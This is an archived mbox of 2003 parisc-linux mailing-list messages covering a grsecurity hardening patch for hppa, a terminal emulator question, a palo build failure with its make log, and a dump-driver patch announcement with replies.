List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18191

Re:

> (www.google.com -> "precisionbook 19 volts" -> google cache):

try also:

   http://www.google.com/search?hl=en&lr=&ie=UTF-8&oe=UTF-8&q=site%3Ahw.tadpole.com++precisionbook&btnG=Google+Search

For most of the links found by the above, you'll have to click on "Cache" to get
the doc, or for the PDF ones, the "view as HTML".

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com


From - Thu Nov 08 21:27:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Gabert <pappy@nikita.ath.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] grsecurity 199e on 2420pa32
Date: Sun, 6 Apr 2003 23:52:19 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <20030406215219.GA7192@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622366 24455 80.91.229.3 (22 Nov 2014 02:12:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  6 15:51:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout08.sul.t-online.com (mailout08.sul.t-online.com [194.25.134.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id 261294829
	for <parisc-linux@parisc-linux.org>; Sun,  6 Apr 2003 15:51:35 -0600 (MDT)
Original-Received: from fwd04.sul.t-online.de 
	by mailout08.sul.t-online.com with smtp 
	id 192I2z-0008AJ-01; Sun, 06 Apr 2003 23:51:29 +0200
Original-Received: from nikita.ath.cx (510056047278-0001@[217.89.14.186]) by fmrl04.sul.t-online.com
	with esmtp id 192I2w-1qByDYC; Sun, 6 Apr 2003 23:51:26 +0200
Original-Received: from nikita.ath.cx (localhost [127.0.0.1])
	by nikita.ath.cx (8.12.3/8.12.3/Debian-5) with ESMTP id h36LqR0H007221
	for <parisc-linux@parisc-linux.org>; Sun, 6 Apr 2003 23:52:28 +0200
Original-Received: (from pappy@localhost)
	by nikita.ath.cx (8.12.3/8.12.3/Debian-5) id h36LqLjC007219
	for parisc-linux@parisc-linux.org; Sun, 6 Apr 2003 23:52:21 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Sender: 510056047278-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18192

fyi

bye,

Alex

----
this weekend i succeeded in setting up my first debian-hppa box with a
customized parisc-linux.org kernel with the grsecurity 1.9.9e patch.

with the help of Brad Spengler it was possible to fit his patch to the
latest parisc-linux 2.4.20 kernel and set up a demo machine.

the patches are at http://nikita.ath.cx/users/pappy/grsec

i also provided a compiled kernel (without module support) for a 712 and
a config file for grsec for evaluational purposes.

please feel free to follow me up and ask questions about this.
the box is currently running and the 2 minor issues with PAGE EXEC
should be resolved in the near future.

i am looking forward to 2.0 where grsec will come up with role-based
behaviour and full distinction support for remote/local processes via
ip-based access control lists.

as far as i know, the grsec functionality is the first project to
effectively harden the linux kernel for hp/9000 machines.

www.grsecurity.net has details about the functionality provided by
Brad's team.

a comparison to the commercial HP/9000 praesidium IDS from HP would be
welcome.

have a nice day,


Alex
-- 
pub  1024/05E1A80C 2001/12/16 Alexander Gabert (http://nikita.ath.cx) <pappy@nikita.ath.cx>
          Key fingerprint =  2D 84 B0 CB F5 67 8A 22  8D 37 6E 6B 8A 3B 7F D6  05 E1 A8 0C


-- 
To UNSUBSCRIBE, email to debian-hppa-request@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org


----- End forwarded message -----

-- 
"... an experienced, industrious, ambitious, and often quite often
picturesque liar."
                -- Mark Twain

pub  1024/05E1A80C 2001/12/16 Alexander Gabert (http://nikita.ath.cx) <pappy@nikita.ath.cx>
          Key fingerprint =  2D 84 B0 CB F5 67 8A 22  8D 37 6E 6B 8A 3B 7F D6  05 E1 A8 0C


From - Thu Nov 08 21:27:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Smartelectronix - Bram de Jong" <bram@smartelectronix.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Our new toy + terminal questions.....
Date: Mon, 7 Apr 2003 00:29:19 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <005501c2fc8b$f72620c0$b200a8c0@dmt>
References: <001e01c2fc30$b9ff47e0$604a5251@kerberos> <20030406193759.GA8473@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622366 24458 80.91.229.3 (22 Nov 2014 02:12:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:46 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  6 16:29:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from horkos.telenet-ops.be (horkos.telenet-ops.be [195.130.132.45])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2484A4829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Apr 2003 16:29:16 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by horkos.telenet-ops.be (Postfix) with SMTP id 8473883C56
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Apr 2003 00:29:15 +0200 (CEST)
Original-Received: from dmt (D576C8F7.kabel.telenet.be [213.118.200.247])
	by horkos.telenet-ops.be (Postfix) with SMTP id 67F1F83C74
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Apr 2003 00:29:15 +0200 (CEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18193

----- Original Message ----- 
From: "Richard Hirst" <rhirst@linuxcare.com>
> You don't say what terminal emulator you are trying to use.  Many people
> use minicom on an x86 linux host without problems.
> 
> You can't stop the installer using features such as cursor addressing to
> paint the screen.

OK, thanks for the reply, Richard,
Had some trouble subscribing to the
list but everything is fixed now!

As you suggested offlist I'll be hunting for a VT100-compatible
terminal application.
Does anyone here have a nice VT100-compatible terminal
application for windows? (needs to be windows 'cos I need
to run it on a windows laptop...)

thanks!


 - bram


From - Thu Nov 08 21:27:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Our new toy + terminal questions.....
Date: Sun, 6 Apr 2003 15:30:05 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20030406223005.GE25268@tausq.org>
References: <001e01c2fc30$b9ff47e0$604a5251@kerberos> <20030406193759.GA8473@sleepie.demon.co.uk> <005501c2fc8b$f72620c0$b200a8c0@dmt>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622367 24459 80.91.229.3 (22 Nov 2014 02:12:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Smartelectronix - Bram de Jong <bram@smartelectronix.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  6 16:30:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64E554829
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Apr 2003 16:30:59 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id AFA5CCD295; Sun,  6 Apr 2003 15:30:05 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <005501c2fc8b$f72620c0$b200a8c0@dmt>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18194

> As you suggested offlist I'll be hunting for a VT100-compatible
> terminal application.
> Does anyone here have a nice VT100-compatible terminal
> application for windows? (needs to be windows 'cos I need
> to run it on a windows laptop...)

teraterm should work.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Still having raid issues
Date: Mon, 7 Apr 2003 07:43:51 -0700 (PDT)
Lines: 71
Approved: news@gmane.org
Message-ID: <20030407144351.44780.qmail@web12504.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622367 24460 80.91.229.3 (22 Nov 2014 02:12:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:47 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  7 08:43:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12504.mail.yahoo.com (web12504.mail.yahoo.com [216.136.173.196])
	by dsl2.external.hp.com (Postfix) with SMTP id 652194829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Apr 2003 08:43:52 -0600 (MDT)
Original-Received: from [12.24.253.152] by web12504.mail.yahoo.com via HTTP; Mon, 07 Apr 2003 07:43:51 PDT
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18195

Ok, still having the same Raid creation issues from last week.  The
only thing I can thing of is that my Make of the new CVS palo is
screwy.  First time outside of class that I've actually had to install
something from source so I included my make below.  What bothers me is
the error that it can't stat iplboot.  I'm assuming that the iplboot
coded isn't getting updated and that's why when I use palo to make my
disk bootable that I keep getting the old 1.0 version of palo written
to my new raid disk.  So if you guys could just let me know how I
screwed up this make (if I did of course), it would be much
appreciated.

green:/tmp# ls -a
.          .X0-lock    file87OL3i    mcop-root        ssh-XXssqJ2K
..         .X11-unix   kde-root      palo             texm9z8I9
.ICE-unix  dcopYtUfU5  ksocket-root  palo-latest.tar  texvdK3FW
green:/tmp# cd palo
green:/tmp/palo# make
cd palo && make
make[1]: Entering directory `/tmp/palo/palo'
gcc -g -O -I../include -I../lib   -c -o diskpart.o ../lib/diskpart.c
gcc -g -O -I../include -I../lib   -c -o elf64.o ../lib/elf64.c
gcc -g -O -I../include -I../lib   -c -o load.o ../lib/load.c
gcc -g -O -I../include -I../lib   -c -o paloio.o paloio.c
gcc -g -O -I../include -I../lib   -c -o elf32.o ../lib/elf32.c
sed 's/.*/"&\\n"/' < usage.txt > usage.h
gcc -g -O -I../include -I../lib   -c -o error.o error.c
gcc -g -O -I../include -I../lib   -c -o palo.o palo.c
ar rv palo.a diskpart.o elf64.o load.o paloio.o elf32.o error.o palo.o
a - diskpart.o
a - elf64.o
a - load.o
a - paloio.o
a - elf32.o
a - error.o
a - palo.o
echo "char *bld_info = \"`whoami`@`hostname` `date`\";" > build.c
gcc -g -O -I../include -I../lib -c -o build.o build.c
rm -f build.c
gcc -g -O -I../include -I../lib  -o palo palo.a build.o
gcc -g -O -I../include -I../lib   -c -o mkbootable.o mkbootable.c
gcc -g -O -I../include -I../lib  -o mkbootable mkbootable.o elf64.o
load.o paloio.o elf32.o error.o
make[1]: Leaving directory `/tmp/palo/palo'
green:/tmp/palo# make  DESTDIR=/ install
cd palo && make
make[1]: Entering directory `/tmp/palo/palo'
make[1]: Nothing to be done for `all'.
make[1]: Leaving directory `/tmp/palo/palo'
gzip -9 < palo.8 > palo.8.gz
gzip -9 < debian/changelog > changelog.gz
install -o root -g root -d //usr/share/doc/palo \
                //etc //sbin \
                //usr/share/palo \
                //usr/share/man/man8
install -o root -g root -m644 palo.conf //usr/share/doc/palo
install -o root -g root palo/palo //sbin
install -o root -g root -m444 iplboot //usr/share/palo
install: cannot stat `iplboot': No such file or directory
make: *** [install] Error 1
green:/tmp/palo# palo -? | grep version
palo version 1.2 root@green Mon Apr  7 08:38:10 CDT 2003

Thanks,
derek


__________________________________________________
Do you Yahoo!?
Yahoo! Tax Center - File online, calculators, forms, and more
http://tax.yahoo.com


From - Thu Nov 08 21:27:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bruno_vidal@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New dump driver patche.
Date: Mon, 07 Apr 2003 18:10:54 +0200
Organization: H.P
Lines: 33
Approved: news@gmane.org
Message-ID: <3E91A30E.5750D22D@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------5619D1C1C905790B5F463192"
X-Trace: ger.gmane.org 1416622367 24461 80.91.229.3 (22 Nov 2014 02:12:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:47 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  7 10:11:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 819E74829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Apr 2003 10:11:06 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 40CFEBBD
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Apr 2003 18:10:46 +0200 (METDST)
Original-Received: from hp.com (ssdpc48.france.hp.com [15.129.234.2])
	by hpfrcu03.france.hp.com (8.9.3 (PHNE_26305+JAGae58098)/8.9.3 SMKit7.02) with ESMTP id SAA14009
	for <parisc-linux@lists.parisc-linux.org>; Mon, 7 Apr 2003 18:09:44 +0200 (METDST)
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.7-10 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18196

This is a multi-part message in MIME format.
--------------5619D1C1C905790B5F463192
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64

ICAgIEhpDQpGb3Igd2hvICB3YW50IGl0LCBJJ3ZlIHByZXBhcmVkIGEgbmV3IHBhdGNoIGZv
ciB0aGUgZHVtcCBkcml2ZXIuDQpXaGF0J3MgbmV3Og0KLWNhbiBkdW1wIG9ubHkgdXNlZCBw
YWdlcy4NCi1mdWxseSBzdXBwb3J0IG11bHRpIHZvbHVtZSBkdW1wLg0KLWNhbiBjcmVhdGUg
ZHVtcCBpbiBmb3JtYXQgaW1hZ2UgZm9yIHVzZSB3aXRoIHA0IHRvb2xzLg0KDQpCdWcgY29y
cmVjdGlvbjoNCi1taXNzZWQgcGFnZXMgd2hlbiB3cml0aW5nIGR1bXAgaGVhZGVyLg0KDQpJ
IHdvdWxkIGJlIGhhcHB5IHRvIHNlbmQgdG8gZXZlcnlvbmUgd2hvIHdhbnQgaXQuDQoNCiAg
ICBDaGVlcnMuDQoNCi0tDQogICAgICAgIFZpZGFsIEJydW5vLCAoNzcwLTQyNzEpDQogICAg
ICAgIFNTRC1IQSBUZWFtLCBIUC1VWCAmIExJTlVYIFN1cHBvcnQNCiAgICAgICAgYnJ1bm9f
dmlkYWxAYWRtaW4uZnJhbmNlLmhwLmNvbQ0KDQoNCg==
--------------5619D1C1C905790B5F463192
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for 
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------5619D1C1C905790B5F463192--



From - Thu Nov 08 21:27:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Still having raid issues
Date: Mon, 7 Apr 2003 17:44:21 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20030407164421.GI8473@sleepie.demon.co.uk>
References: <20030407144351.44780.qmail@web12504.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622368 24464 80.91.229.3 (22 Nov 2014 02:12:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:48 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  7 10:56:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust111.brnt.cable.ntl.com [213.107.179.111])
	by dsl2.external.hp.com (Postfix) with ESMTP id C59CA4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Apr 2003 10:56:18 -0600 (MDT)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 1ADDB9EF3E; Mon,  7 Apr 2003 17:44:21 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20030407144351.44780.qmail@web12504.mail.yahoo.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18197

On Mon, Apr 07, 2003 at 07:43:51AM -0700, Derek Engelhaupt wrote:
> Ok, still having the same Raid creation issues from last week.  The
> only thing I can thing of is that my Make of the new CVS palo is
> screwy.  First time outside of class that I've actually had to install
> something from source so I included my make below.  What bothers me is
> the error that it can't stat iplboot.  I'm assuming that the iplboot

iplboot is only built if you compile on parisc, iirc.  The debian source
debian/pool/main/p/palo/palo_1.2.tar.gz contains iplboot, and there are
i386 palo debs for 1.2 in the archive too, if that's what you want.

Richard



From - Thu Nov 08 21:27:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New dump driver patche.
Date: Mon, 7 Apr 2003 09:54:41 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <20030407165441.GB12993@tausq.org>
References: <3E91A30E.5750D22D@hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622368 24469 80.91.229.3 (22 Nov 2014 02:12:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:48 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: bruno_vidal@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  7 10:58:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CD4A4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Apr 2003 10:58:24 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id DD871CD295; Mon,  7 Apr 2003 09:54:41 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3E91A30E.5750D22D@hp.com>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18198

> For who  want it, I've prepared a new patch for the dump driver.
> What's new:
> -can dump only used pages.
> -fully support multi volume dump.
> -can create dump in format image for use with p4 tools.
> 
> Bug correction:
> -missed pages when writing dump header.
> 
> I would be happy to send to everyone who want it.

is this against 2.4.20 or 2.5? can we post it on ftp.parisc-linux.org?

i'm very interested in this :)

thanks
randolph


From - Thu Nov 08 21:27:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] New dump driver patche.
Date: Mon, 7 Apr 2003 19:37:39 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <3E8AE87E00002F65@ocpmta2.freegates.net>
References: <3E91A30E.5750D22D@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622368 24473 80.91.229.3 (22 Nov 2014 02:12:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
